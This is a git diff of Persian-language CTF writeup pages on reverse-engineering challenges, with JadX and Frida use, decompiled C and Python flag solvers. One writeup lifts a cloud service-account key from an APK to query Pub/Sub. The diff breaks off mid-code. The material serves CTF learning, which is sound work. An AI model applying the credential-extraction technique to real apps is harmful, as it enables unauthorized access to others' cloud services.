اولین کاری که در مواجهه با چلنج اندرویدی باید انجام بدیم چیه؟ همتون میگید اجرا اما نه!! باز کردنش تو JadX اولین کاریه که حرفه ای ها میکنن =)))

با یکم گشتن تو کلاس ها و توابع برنامه میرسیم به این تیکه کد

Shinji

    public final String flagDisplay() {
@@ -77,4 +77,4 @@
         break
 
 print("CTF{{{}}}".format(i))
-

بعد از چند دقیقه اجرا، فلگ به نمایش در میاد


FLAG 🚩

CTF{1615212000}

نویسنده

SafaSafari

\ No newline at end of file +

بعد از چند دقیقه اجرا، فلگ به نمایش در میاد


FLAG 🚩

CTF{1615212000}

نویسنده

SafaSafari

\ No newline at end of file diff --git a/reverse/writeups/BSidesSF/whishing-well/index.html b/reverse/writeups/BSidesSF/whishing-well/index.html index bb35724d..43af0f0b 100644 --- a/reverse/writeups/BSidesSF/whishing-well/index.html +++ b/reverse/writeups/BSidesSF/whishing-well/index.html @@ -1,4 +1,4 @@ - Whishing well - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Whishing well

اگه رایتاپ قبلی رو خوب خونده باشین، میدونید که اولین کار در مواجه با یه فایل apk، بازکردنش تو JadX هست

پس سر این فایل هم همین بلا رو میاریم =))

مجددا از روی AndroidManifest.xml پکیج‌نیم برنامه رو پیدا میکنیم و میریم تو کلاسش سرک بکشیم

MainActivity که کار خاصی انجام نمیده و صرفا تابع publishWish رو با یه ورودی که از کاربر گرفته اجرا میکنه

wishing-well-1

و اما کلاس PubSub

wishing-well-2

این کلاس همونطور که از اسمش هم پیداست، وظیفه publish-subscribe رو داره

خیلی خلاصه بخوام بگم، PubSub یه خدمتیه برای انتقال یه پیام بین دیوایس ها به واسته گوگل هست

بعضی از نوتیفیکیشن ها هم از همین طریق ارسال میشن و مباحثی مثل تاپیک بندی و ... هم توشون وجود داره

اگه میخواید درباره pub/sub بیشتر بخونید، رو این لینک کلیک کنید

بریم سراغ ادامه چالش

گوگل برای api call زدن به سرویساش (ماشالله چقدر هم زیادن و خدا بیشترش کنه) یه ابزار cli ساخته به اسم gcloud که خیلی کار ما رو راحت میکنه

قبل از این که برم سراغش به اینم اشاره کنم که همونطور که تو عکس هم مشخصه، یه فایل key.json هم وجود داره که برا api call ها نیازش داریم و میریم از تو فولدر assets برش‌میداریم

{
@@ -25,4 +25,4 @@
 ├────────────────────────────────────────────────────────┼───────────────────┼──────────────┼────────────┼──────────────────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
 │ {"data": {"message": "CTF{W1sh3s-publish3d-gr4nt3d}"}}  11104663640891080                                              BhYsXUZIUTcZCGhRDk9eIz81IChFEgEIFAV8fXdbS3VdXn1oUQ0Zcn1gfTxeRQJTR1F6DVEfC2JcTkQHSf3MpvxXV0tbEgACQVV4XF0fDWBVXXUPUSWew4fWtuPUMBs-faOri9otLcz_opY1ZiI9XxJLLD5-KTBFQV5AEkwiBURJUytDCypYEU4EISE-MD5FU0RQ │
 └────────────────────────────────────────────────────────┴───────────────────┴──────────────┴────────────┴──────────────────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
-

FLAG 🚩

CTF{W1sh3s-publish3d-gr4nt3d}

نویسنده

SafaSafari

\ No newline at end of file +

FLAG 🚩

CTF{W1sh3s-publish3d-gr4nt3d}

نویسنده

SafaSafari

\ No newline at end of file diff --git a/reverse/writeups/BackdoorCTF/Sl4ydroid/index.html b/reverse/writeups/BackdoorCTF/Sl4ydroid/index.html index e89d50e4..70339084 100644 --- a/reverse/writeups/BackdoorCTF/Sl4ydroid/index.html +++ b/reverse/writeups/BackdoorCTF/Sl4ydroid/index.html @@ -1,4 +1,4 @@ - Sl4ydroid - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Sl4ydroid

با هوک کردن تابعی که تو آدرس 0x23820 وجود داره، میتونیم به تیکه های فلگ دست پیدا کنیم

 1
@@ -41,4 +41,4 @@
   Interceptor.flush();
 });
 
با ابزار فریدا میتونیم هوک رو انجام بدیم
frida -U -f com.backdoor.sl4ydroid -l Sl4ydroid.js
-

\ No newline at end of file +

\ No newline at end of file diff --git a/reverse/writeups/DUCTF/jmp_flag/index.html b/reverse/writeups/DUCTF/jmp_flag/index.html index 99227305..8f2e0474 100644 --- a/reverse/writeups/DUCTF/jmp_flag/index.html +++ b/reverse/writeups/DUCTF/jmp_flag/index.html @@ -1,4 +1,4 @@ - چالش jmp flag - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش jmp flag


challenge cover.png

فایل باینری ضمیمه‌شده رو اول یکسری بررسی ابتدایی مثل strings و file و ... می‌کنیم و نتیجه خاصی نداره. در مرحله بعد خروجی decompiler رو برای این باینری از hex ray با استفاده از این سایت می‌گیریم. بررسی کلی نشون میده که این برنامه یک ورودی ۶۴ کاراکتری از کاربر دریافت می‌کنه و بسته به هر کاراکتر ورودی، تابع‌های مختلفی رو صدا میزنه و مقدار یک متغیر رو در دیتا سگمنت به طور مداوم تغییر می‌ده. و در نهایت چک میکنه که اگر مقدار اون متغیر برابر صفر بود جواب ما درست بوده و ورودی همون فلگ سوال هست. برخی قسمت‌های مهم کد در زیر آورده شده.

__int64 qword_9010 = -1LL;
@@ -51,4 +51,27 @@
     puts("Incorrect!");
   return 0LL;
 }
-

خروجی دیکامپایلر برای تابع sub_1280 کمی غیر قابل‌فهم هست. با مرور اسمبلی این تابع متوجه می‌شیم که این تابع بسته به اینکه مقدار اسکی کاراکتر ورودی چی هست، یک آفست ولید که آدرس شروع یک تابع هست را تولید می‌کند و اونو کال می‌کنه.

jmp_1.png

همچنین اگه به آدرس تابع‌ها توجه کنین میبینین که یک نظم خیلی خاصی دارن و در فاصله‌های برابر قرار گرفتن. اگر این تابع‌ها رو با جدول اسکی تطبیق بدین، می‌بینید که اکثر این توابع مقدار اون متغیر qword_9010 رو برابر ۱- قرار می‌دن و فقط توابع متناظر با کاراکتر‌های a تا z و A تا Z و 0 تا 1 و ! و ? کار متفاوتی رو انجام میدن. اگر باز هم بیشتر به داخل این تابع‌ها نگاه کنید، می‌بینید که هر کدوم (به جز تابع متناظر با t) اگر یک شرط خاص روی مقدار qword_9010 برقرار باشه، یک بیت خاص ازون عدد ۶۴ بیتی رو تبدیل به 0 می‌کنه. چون مقدار این عدد اولش ۱- هست و تمام بیت‌هاش 1 عه و هر کدوم ازین توابع فقط یک بیت خاص رو 0 می‌کنن و ما نیاز داریم آخر برنامه همه بیت‌های عدد 0 باشه، پس هر کدوم ازین تابع‌ها دقیقا یک بار و با یک ترتیب خاصی کال بشن تا شرط‌های همدیگر رو رعایت کنن و در نهایت عدد رو صفر کنن.با نگاه ساده و یا با اسکریپت میتونیم این شرط‌هارو به ترتیب دربیاریم و در نهایت ورودی مناسب رو پیدا کنیم.


FLAG 🚩

DUCTF{tAb1HFK5h3ZgEX7UTMQfsivcPOaJ?nRy8jrYLVB9Ilempw6xWq2zC0d!SDukG4No}

نویسنده

Sadegh

\ No newline at end of file +

خروجی دیکامپایلر برای تابع sub_1280 کمی غیر قابل‌فهم هست. با مرور اسمبلی این تابع متوجه می‌شیم که این تابع بسته به اینکه مقدار اسکی کاراکتر ورودی چی هست، یک آفست ولید که آدرس شروع یک تابع هست را تولید می‌کند و اونو کال می‌کنه.

jmp_1.png

همچنین اگه به آدرس تابع‌ها توجه کنین میبینین که یک نظم خیلی خاصی دارن و در فاصله‌های برابر قرار گرفتن. اگر این تابع‌ها رو با جدول اسکی تطبیق بدین، می‌بینید که اکثر این توابع مقدار اون متغیر qword_9010 رو برابر ۱- قرار می‌دن و فقط توابع متناظر با کاراکتر‌های a تا z و A تا Z و 0 تا 1 و ! و ? کار متفاوتی رو انجام میدن. اگر باز هم بیشتر به داخل این تابع‌ها نگاه کنید، می‌بینید که هر کدوم (به جز تابع متناظر با t) اگر یک شرط خاص روی مقدار qword_9010 برقرار باشه، یک بیت خاص ازون عدد ۶۴ بیتی رو تبدیل به 0 می‌کنه. چون مقدار این عدد اولش ۱- هست و تمام بیت‌هاش 1 عه و هر کدوم ازین توابع فقط یک بیت خاص رو 0 می‌کنن و ما نیاز داریم آخر برنامه همه بیت‌های عدد 0 باشه، پس هر کدوم ازین تابع‌ها دقیقا یک بار و با یک ترتیب خاصی کال بشن تا شرط‌های همدیگر رو رعایت کنن و در نهایت عدد رو صفر کنن. با نگاه ساده و یا با اسکریپت میتونیم این شرط‌هارو به ترتیب دربیاریم و در نهایت ورودی مناسب رو پیدا کنیم. در اینجا برای راحتی کار با استفاده از یک اسکریپت پایتونی، مقادیر و آدرس‌های مربوط به توابع هر حرف را از کد C پاکسازی‌شده استخراج می‌کنیم و سپس ترتیب مورد نظر را پیدا و چاپ می‌کنیم. توجه کنید که نوشتن این اسکریپت یکهو انجام نشده و به تدریج و با آزمون و خطا نیاز هست که به این برسید. همین‌طور باید در حین آزمون و خطا مدام مقادیر متغیرها رو بررسی کنین و پاکسازی‌های لازم رو در فایل C انجام بدین تا یک فایل یکدست برای استخراج داشته باشیم.

with open('clean.c', 'r') as f:
+    lines = f.read().split('\n')
+
+temp = {}
+for i, l in enumerate(lines):
+    if 'result = qword_9010 &' in l:
+        a1 = l.strip().replace('result = qword_9010 & 0x', '').replace('LL', '').replace(';', '').replace('u', '')
+        a2 = lines[i-4].strip().replace('__int64 sub_', '').replace('()', '')
+        a3 = lines[i+3].strip().replace('qword_9010 ^= ', '').replace('0x', '').replace('LL', '').replace(';', '').replace('u', '')
+        temp[a1] = (a2, a3)
+
+flag = 't'
+num = 0xFFFFFFFFFFFFFFFF ^ 0x2000000
+
+visited = set()
+for _ in range(63):
+    for j, k in temp.items():
+        if (int(j, 16) & num == 0) and (j not in visited):
+            num ^= int(k[1], 16)
+            flag += chr((int(k[0], 16) - 0x12a0 - 0x60) >> 7)
+            visited.add(j)
+
+print(flag)
+
نهایتا با اجرای کد و قرار دادن خروجی در قالب فلگ مسابقه به فلگ نهایی می‌رسیم.


FLAG 🚩

DUCTF{tAb1HFK5h3ZgEX7UTMQfsivcPOaJ?nRy8jrYLVB9Ilempw6xWq2zC0d!SDukG4No}

نویسنده

Sadegh

\ No newline at end of file diff --git a/reverse/writeups/DUCTF/number_mashing/index.html b/reverse/writeups/DUCTF/number_mashing/index.html index 51d87570..3b5060ee 100644 --- a/reverse/writeups/DUCTF/number_mashing/index.html +++ b/reverse/writeups/DUCTF/number_mashing/index.html @@ -1,4 +1,4 @@ - چالش number mashing - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش number mashing


challenge cover.png

فایل باینری ضمیمه‌شده رو به دیکامپایلر میدیم و خروجی رو چک می‌کنیم. با حذف قسمتای غیر مهم و فقط نگه داشتن منطق اصلی برنامه، شبه کد زیر رو می‌بینیم.

undefined8 main(void)
@@ -27,4 +27,4 @@
   printf("Correct! %s\n",&local_108);
   return 0;
 }
-

در واقع این برنامه، دو عدد int32 را از کاربر ورودی می‌گیرد و چک می‌کند که آیا حاصل تقسیم عدد اول بر عدد دوم، برابر عدد اول می‌شود یا خیر. همچنین برای سخت‌تر کردن کار و جلوگیری از خطای تقسیم صفر، بررسی می‌کنه که صورت برابر 0 و یا مخرج برابر 0 یا 1 نباشه و در غیر این صورت از برنامه خارج می‌شه. از دید ریاضی و در تقسیم اعداد صحیح و با فرض اینکه پاسخ همیشه به سمت 0 گرد می‌شود، به نظر میاد پیدا کردن همچین جفت عددی باید ناممکن باشه. اما نکته اینجاست که ما در دنیای باینری کامپیوترها، تعداد محدودی بیت داریم و از قواعد خاصی برای نمایش اعداد پیروی می‌کنیم. در سیستم complement 2's تعداد اعداد منفی یکی بیشتر از اعداد مثبت است و بنابراین کوچک‌ترین عدد ۳۲ بیتی منفی یعنی 2147483648 - در این سیستم نقیض ندارد و نقیضش خودش است. دلیل این موضوع این است که در نمایش باینری این عدد، با ارزش‌ترین بیت 1 و بقیه بیت‌ها 0 هستند. حال هنگام نقیض کردن، همه بیت‌ها را عکس و سپس عدد را با 1 جمع کنیم، مجددا با همان نمایش عددی می‌رسیم. بنابراین اگر این عدد را در ۱- ضرب و یا بر آن تقسیم کنیم، همچنان حاصل برابر خودش است. با دادن این ورودی‌ها به برنامه ریموت روی سرور، مقدار فلگ با موفقیت به دست می‌آید.


FLAG 🚩

DUCTF{w0w_y0u_just_br0ke_math!!}

نویسنده

Sadegh

\ No newline at end of file +

در واقع این برنامه، دو عدد int32 را از کاربر ورودی می‌گیرد و چک می‌کند که آیا حاصل تقسیم عدد اول بر عدد دوم، برابر عدد اول می‌شود یا خیر. همچنین برای سخت‌تر کردن کار و جلوگیری از خطای تقسیم صفر، بررسی می‌کنه که صورت برابر 0 و یا مخرج برابر 0 یا 1 نباشه و در غیر این صورت از برنامه خارج می‌شه. از دید ریاضی و در تقسیم اعداد صحیح و با فرض اینکه پاسخ همیشه به سمت 0 گرد می‌شود، به نظر میاد پیدا کردن همچین جفت عددی باید ناممکن باشه. اما نکته اینجاست که ما در دنیای باینری کامپیوترها، تعداد محدودی بیت داریم و از قواعد خاصی برای نمایش اعداد پیروی می‌کنیم. در سیستم complement 2's تعداد اعداد منفی یکی بیشتر از اعداد مثبت است و بنابراین کوچک‌ترین عدد ۳۲ بیتی منفی یعنی 2147483648 - در این سیستم نقیض ندارد و نقیضش خودش است. دلیل این موضوع این است که در نمایش باینری این عدد، با ارزش‌ترین بیت 1 و بقیه بیت‌ها 0 هستند. حال هنگام نقیض کردن، همه بیت‌ها را عکس و سپس عدد را با 1 جمع کنیم، مجددا با همان نمایش عددی می‌رسیم. بنابراین اگر این عدد را در ۱- ضرب و یا بر آن تقسیم کنیم، همچنان حاصل برابر خودش است. با دادن این ورودی‌ها به برنامه ریموت روی سرور، مقدار فلگ با موفقیت به دست می‌آید.


FLAG 🚩

DUCTF{w0w_y0u_just_br0ke_math!!}

نویسنده

Sadegh

\ No newline at end of file diff --git a/reverse/writeups/ImaginaryCTF/unconditional.png b/reverse/writeups/ImaginaryCTF/unconditional.png new file mode 100644 index 00000000..d5c4b55a Binary files /dev/null and b/reverse/writeups/ImaginaryCTF/unconditional.png differ diff --git a/reverse/writeups/ImaginaryCTF/unconditional/index.html b/reverse/writeups/ImaginaryCTF/unconditional/index.html new file mode 100644 index 00000000..eede2193 --- /dev/null +++ b/reverse/writeups/ImaginaryCTF/unconditional/index.html @@ -0,0 +1,159 @@ + unconditional - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

unconditional


challenge cover.png

فایل باینری ضمیمه‌شده رو به دیکامپایلر میدیم و خروجی رو چک می‌کنیم. با حذف قسمتای غیر مهم و فقط نگه داشتن منطق اصلی برنامه، شبه کد زیر رو می‌بینیم.

#include <stdio.h>
+
+
+char flag[33] = "nothing_here_lmao";
+unsigned char table1[6] = { 82, 100, 113, 81, 84, 118 };
+unsigned char table2[6] = { 1, 3, 4, 2, 6, 5 };
+int counter1;
+int counter2;
+
+
+int iterate(int a1)
+{
+    lala[39] = 0;
+    char v1;
+    unsigned char v3;
+    char v4;
+
+    v3 = flag[a1];
+    v4 = (a1 & 1) != 0; // odd -> True , even -> False
+    v1 = v3 > 0x60u && v3 <= 0x7Au;
+    flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1
+                + !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))
+               * ((a1 & 1) == 0)
+               + ((v3 ^ table1[counter1]) * v1 + !v1 * ((v3 << 2) | (v3 >> 6))) * ((a1 & 1) != 0);
+    counter1 = (v4 + counter1) % 6;
+    counter2 = (v4 + counter2) % 6;
+    printf("%02x,", (unsigned char)flag[a1]);
+    return (unsigned int)(a1 + 1);
+}
+
+
+int main()
+{
+    int v3;
+    int v4;
+    int v5;
+    int v6;
+    int v7;
+    int v8;
+    int v9;
+    int v10;
+    int v11;
+    int v12;
+    int v13;
+    int v14;
+    int v15;
+    int v16;
+    int v17;
+    int v18;
+    int v19;
+    int v20;
+    int v21;
+    int v22;
+    int v23;
+    int v24;
+    int v25;
+    int v26;
+    int v27;
+    int v28;
+    int v29;
+    int v30;
+    int v31;
+    int v32;
+    int v33;
+    int v34;
+
+    v3 = iterate(0);
+    v4 = iterate(v3);
+    v5 = iterate(v4);
+    v6 = iterate(v5);
+    v7 = iterate(v6);
+    v8 = iterate(v7);
+    v9 = iterate(v8);
+    v10 = iterate(v9);
+    v11 = iterate(v10);
+    v12 = iterate(v11);
+    v13 = iterate(v12);
+    v14 = iterate(v13);
+    v15 = iterate(v14);
+    v16 = iterate(v15);
+    v17 = iterate(v16);
+    v18 = iterate(v17);
+    v19 = iterate(v18);
+    v20 = iterate(v19);
+    v21 = iterate(v20);
+    v22 = iterate(v21);
+    v23 = iterate(v22);
+    v24 = iterate(v23);
+    v25 = iterate(v24);
+    v26 = iterate(v25);
+    v27 = iterate(v26);
+    v28 = iterate(v27);
+    v29 = iterate(v28);
+    v30 = iterate(v29);
+    v31 = iterate(v30);
+    v32 = iterate(v31);
+    v33 = iterate(v32);
+    v34 = iterate(v33);
+    iterate(v34);
+    return 0;
+}
+

این برنامه در واقع به ترتیب روی تک تک حرف‌های فلگ یکسری عمل بیتی انجام میده. این اعمال به این صورت هستند که بسته به اینکه اندیس حرف (مکان حرف در رشته) عددی فرد یا زوج باشه و یا اینکه حرفی بین a تا z باشه و یا خارج از آن از بین حروف 0123456789_{} باشه، مقادیر مختلفی رو محاسبه و اون مقدار را به صورت یک عدد هگزادسیمال دو رقمی به ازای اون حرف نمایش می‌ده. میشه این دسته‌بندی اعمال انجام‌شده رو به صورت شبه‌کد زیر نوشت:

if index is odd and char is alphabet:
+        out(hex(char ^ table1[counter1]))
+if index is odd and char is not alphabet:
+        out(hex((char << 2) | (char >> 6)))
+if index is even and char is alphabet:
+        out(hex((char >> table2[counter2]) | (char << (8 - table2[counter2]))))
+if index is even and char is not alphabet:
+        out(hex(((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))
+

میشه دید که اعمال انجام‌شده منطقا بازگشت‌پذیر هستند. جدای از xor های انجام‌شده که ذاتا بازگشت‌پذیرن، ترکیب اعمال شیفت بیتی و or های انجام‌شده در واقع به این صورت هستند که i بیت کم ارزش را از مقدار اسکی حرف برداشته و قبل از 8 - i بیت پر ارزش قرار می‌دهند و حال آن i بیت پرارزش‌تر هستند. به زبان ساده‌تر این عمل یک شیفت دورانی است. پس باید قابل بازگشت باشند. همچنین توجه میکنم مقدار شمارنده‌های counter فقط در اندیس‌های فرد آپدیت می‌شن و باید در ریورس کردن این رو هم لحاظ کنیم. حالا با این فرایض، یک کد پایتونی می‌نویسیم که معکوس این اعمال را روی رشته هگز خروجی که در صورت سوال اومده از آخر به اول اجرا کنه.

result = 'b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b'.split(',')
+length = len(result)
+flag = ''
+counter1 = (length // 2) % 6
+counter2 = (length // 2) % 6
+table1 = [82, 100, 113, 81, 84, 118]
+table2 = [1, 3, 4, 2, 6, 5]
+
+def is_alpha(c):
+    return c in 'abcdefghijklmnopqrstuvwxyz'
+
+def is_other(c):
+    return c in '0123456789_{}'
+
+for i in range(length-1, -1, -1):
+    x = int(result[i], 16)
+
+    if i % 2 == 0:
+        a1 = chr(((x << table2[counter2]) & 0xFF) | (x >> (8 - table2[counter2])))
+        x2 = table1[counter1] ^ x
+        a2 = chr(((x2 << 2) & 0xFF) | (x2 >> 6))
+        if is_alpha(a1) and (not is_other(a2)):
+            flag = a1 + flag
+        elif (not is_alpha(a1)) and is_other(a2):
+            flag = a2 + flag
+        elif is_alpha(a1) and is_other(a2):
+            flag = '?' + flag
+        else:
+            flag = '+' + flag
+    else:
+        a1 = chr(x ^ table1[counter1])
+        a2 = chr(((x << 6) & 0xFF) | (x >> 2))
+        if is_alpha(a1) and (not is_other(a2)):
+            flag = a1 + flag
+        elif (not is_alpha(a1)) and is_other(a2):
+            flag = a2 + flag
+        elif is_alpha(a1) and is_other(a2):
+            flag = '?' + flag
+        else:
+            flag = '+' + flag
+
+    if i % 2 == 0:
+        counter1 = (counter1 - 1) % 6
+        counter2 = (counter2 - 1) % 6
+
+print(flag)
+

بعد از ران کردن این کد خروجی زیر به دست می‌آید: ictf{m?r3_than_1?way5_t0_c0n7r?l} دلیل این که حالت‌هایی مثل ? در این جواب وجود داره اینه که ممکنه در مسیر معکوس، حروفی که بازسازی میشن هم یک حرف الفبایی قابل‌قبول و هم یک عدد یا نماد قابل قبول (طبق صورت سوال) باشند و بنابراین ما علامت سوال گذاشتیم که بعدا با دیباگر به صورت دستی چک کنیم که کدوم از جواب‌ها به یک فلگ منطقی و درست منجر میشه و به کانتکست تعلق بیشتری داره. اول مسیر فقط دو حالت اول شرط‌هارو لحاظ کرده بودم ولی با برخوردن به ارور و فلگ‌های ناخوانا و بعد از دیباگ مشخص شد نیازه که شرایط ۳ و ۴ هم برای مشکلات احتمالی هندل کنم. البته شرط ۴ به خاطر اینکه از لحاظ تئوری اعمال انجام‌شده بازگشت‌پذیر هستن و هیچ موقع به حالتی نمیخوریم که نتونیم یک کاراکتر درست رو بازسازی کنیم، اجرا نمیشه.

نهایتا بعد از انتخاب دستی حروف مناسب برای علامت سوال‌ها به فلگ نهایی می‌رسیم.


FLAG 🚩

ictf{m0r3_than_1_way5_t0_c0n7r0l}

نویسنده

Sadegh

\ No newline at end of file diff --git a/reverse/writeups/Incognito_5.0/Vault/index.html b/reverse/writeups/Incognito_5.0/Vault/index.html index a660f7e6..3660d001 100644 --- a/reverse/writeups/Incognito_5.0/Vault/index.html +++ b/reverse/writeups/Incognito_5.0/Vault/index.html @@ -1,4 +1,4 @@ - چالش Vault - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Vault

🔗 دانلود چلنج

نگاه اولیه به سوال

در این سوال فقط به ما یک فایل با نام challenge0 داده شده بود. در ابتدا برای اینکه بفهمیم با چه چیزی روبرو هستیم دستور file رو روش اجرا میکنیم

$ file challenge0
@@ -38,4 +38,4 @@
 

حل چالش

خب از سورس کد میتوان دید که برنامه از ما یک رشته ورودی میگیره و با خروجی تابع flag مقایسه میکنه. در ادامه بسادگی با کد پایتونی زیر میتونیم فلگ رو در بیاریم

a = [105, 99, 116, 102, 123, 119, 101, 108, 99, 48, 109, 101, 95, 116, 48, 
      95, 114, 101, 118, 51, 114, 115, 49, 110, 103, 125]
 print(''.join(map(chr, a)))
-

FLAG 🚩

ictf{welc0me_t0_rev3rs1ng}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

ictf{welc0me_t0_rev3rs1ng}

نویسنده

mheidari98

\ No newline at end of file diff --git a/reverse/writeups/Incognito_5.0/Vault_2/index.html b/reverse/writeups/Incognito_5.0/Vault_2/index.html index 78cb5bb1..5638829b 100644 --- a/reverse/writeups/Incognito_5.0/Vault_2/index.html +++ b/reverse/writeups/Incognito_5.0/Vault_2/index.html @@ -1,4 +1,4 @@ - چالش Vault 2 - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Vault 2

🔗 دانلود چلنج

نگاه اولیه به سوال

در این سوال فقط به ما یک فایل با نام challenge1 داده شده بود. در ابتدا برای اینکه بفهمیم با چه چیزی روبرو هستیم دستور file رو روش اجرا میکنیم

$ file challenge1
@@ -58,4 +58,4 @@
 s = b"hawb~w6q5dcn0[n2{\\|5s\x7f"
 for i, c in enumerate(s):
     print(chr(c^(i%5+1) ), end='')
-

FLAG 🚩

ictf{v4r1abl3_k3y_x0r}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

ictf{v4r1abl3_k3y_x0r}

نویسنده

mheidari98

\ No newline at end of file diff --git a/reverse/writeups/Incognito_5.0/Vault_3/index.html b/reverse/writeups/Incognito_5.0/Vault_3/index.html index 43e1cd00..78928d4f 100644 --- a/reverse/writeups/Incognito_5.0/Vault_3/index.html +++ b/reverse/writeups/Incognito_5.0/Vault_3/index.html @@ -1,4 +1,4 @@ - چالش Vault 3 - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Vault 3

🔗 دانلود چلنج

نگاه اولیه به سوال

در این سوال فقط به ما یک فایل با نام challenge2 داده شده بود. در ابتدا برای اینکه بفهمیم با چه چیزی روبرو هستیم دستور file رو روش اجرا میکنیم

file challenge2
@@ -73,4 +73,4 @@
 s = b"leyh{V2z4x#3q^x\"wl][0V\x7f"
 for i, c in enumerate(s):
     print(chr(revRotateChar(c, 3)^(i % 4)), end='')
-

FLAG 🚩

ictf{R0t4t!0n_w!th_X0R}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

ictf{R0t4t!0n_w!th_X0R}

نویسنده

mheidari98

\ No newline at end of file diff --git a/reverse/writeups/SnappCTF/TurnOB/index.html b/reverse/writeups/SnappCTF/TurnOB/index.html index 0002674c..8dd426da 100644 --- a/reverse/writeups/SnappCTF/TurnOB/index.html +++ b/reverse/writeups/SnappCTF/TurnOB/index.html @@ -1,4 +1,4 @@ - TurnOB - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش TurnOB

TurnOB

نگاه اولیه به سوال

در این سوال به ما دو فایل داده شده. یک متن رمز شده فلگ و یک فایل باینری رمزکننده که طبق گفته سوال ظاهرا از کاربر ورودی میگیره و رمز شدش رو برامون پرینت میکنه.

> file *
@@ -23,4 +23,4 @@
 
 for i in s.split(':')[:-1]:
     print(d[i], end='')
-

FLAG 🚩

SNAPP{Sh0rTE5t_h3X_DuMp_u7il!tY_1n_C!}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

SNAPP{Sh0rTE5t_h3X_DuMp_u7il!tY_1n_C!}

نویسنده

mheidari98

\ No newline at end of file diff --git a/reverse/writeups/SnappCTF/blink/index.html b/reverse/writeups/SnappCTF/blink/index.html index b7321c90..dccbcaa1 100644 --- a/reverse/writeups/SnappCTF/blink/index.html +++ b/reverse/writeups/SnappCTF/blink/index.html @@ -1,4 +1,4 @@ - Blink - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

Blink

Bilink-1

با این که این چالش تو دسته بندی ریورسه، اما خو کی حال داره کاکو؟ 😂

فقط تیکه اولش رو ریورس کردیم و فهمیدیم که یه ورودی میگیره و یه خروجی

یه فایل سمپل ساختیم و طبق تصویر فهمیدیم این بلاگرفته داره چیکار میکنه

Blink-1

1
@@ -8,4 +8,4 @@
 for i in os.scandir('/tmp/Blink'):
     print()
     print(open("/tmp/Blink/" + i.name, 'r').read().replace('\n', ''), end='')
-

بعد با این اسکریپت میتونیم این فایلا رو زیر هم چاپ کنیم و در نهایت فلگ ساخته میشه

Blink-2

نویسنده

SafaSafari

\ No newline at end of file +

بعد با این اسکریپت میتونیم این فایلا رو زیر هم چاپ کنیم و در نهایت فلگ ساخته میشه

Blink-2

نویسنده

SafaSafari

\ No newline at end of file diff --git a/reverse/writeups/SnappCTF/vitis/index.html b/reverse/writeups/SnappCTF/vitis/index.html index 61b28ad4..b1596c40 100644 --- a/reverse/writeups/SnappCTF/vitis/index.html +++ b/reverse/writeups/SnappCTF/vitis/index.html @@ -1,4 +1,4 @@ - Vitis - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups
\ No newline at end of file +-->

Vitis

R2

دیگه ساده تر از این نداریم =)))

FLAG 🚩

SNAPP{I_L0v3_WINE_1N_L!nUX!!!}


نویسنده

SafaSafari

\ No newline at end of file diff --git a/reverse/writeups/UIUCTF/summarize.png b/reverse/writeups/UIUCTF/summarize.png new file mode 100644 index 00000000..a6d0198b Binary files /dev/null and b/reverse/writeups/UIUCTF/summarize.png differ diff --git a/reverse/writeups/UIUCTF/summarize/index.html b/reverse/writeups/UIUCTF/summarize/index.html new file mode 100644 index 00000000..495e8619 --- /dev/null +++ b/reverse/writeups/UIUCTF/summarize/index.html @@ -0,0 +1,228 @@ + Summarize - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

Summarize


challenge cover.png

فایل باینری ضمیمه‌شده رو به دیکامپایلر میدیم و خروجی رو چک می‌کنیم. با حذف قسمتای غیر مهم و فقط نگه داشتن منطق اصلی برنامه، شبه کد زیر رو می‌بینیم.

#include <stdio.h>
+
+int main(int a1, char **a2)
+{
+  unsigned int v4;
+  unsigned int v5;
+  unsigned int v6;
+  unsigned int v7;
+  unsigned int v8;
+  unsigned int v9;
+  char s[56];
+
+  puts("To get the flag, you must correctly enter six 9-digit positive integers: a, b, c, d, e, and f.");
+  putchar(10);
+  printf("a = ");
+  scanf("%d", &v4);
+  printf("b = ");
+  scanf("%d", &v5);
+  printf("c = ");
+  scanf("%d", &v6);
+  printf("d = ");
+  scanf("%d", &v7);
+  printf("e = ");
+  scanf("%d", &v8);
+  printf("f = ");
+  scanf("%d", &v9);
+  if ( sub_40137B(v4, v5, v6, v7, v8, v9) )
+  {
+    puts("Correct.");
+    sprintf(s, "uiuctf{%x%x%x%x%x%x}", v4, v5, v6, v7, v8, v9);
+    puts(s);
+  }
+  else
+  {
+    puts("Wrong.");
+  }
+  return 0LL;
+}
+
+
+char sub_40137B(
+        unsigned int a1,
+        unsigned int a2,
+        unsigned int a3,
+        unsigned int a4,
+        unsigned int a5,
+        unsigned int a6)
+{
+  unsigned int v7;
+  int v8;
+  unsigned int v9;
+  unsigned int v10
+  unsigned int v11;
+  unsigned int v12;
+  unsigned int v18;
+  unsigned int v19;
+  unsigned int v20;
+  unsigned int v21;
+  unsigned int v22;
+  unsigned int v23;
+  unsigned int v24;
+  unsigned int v25;
+
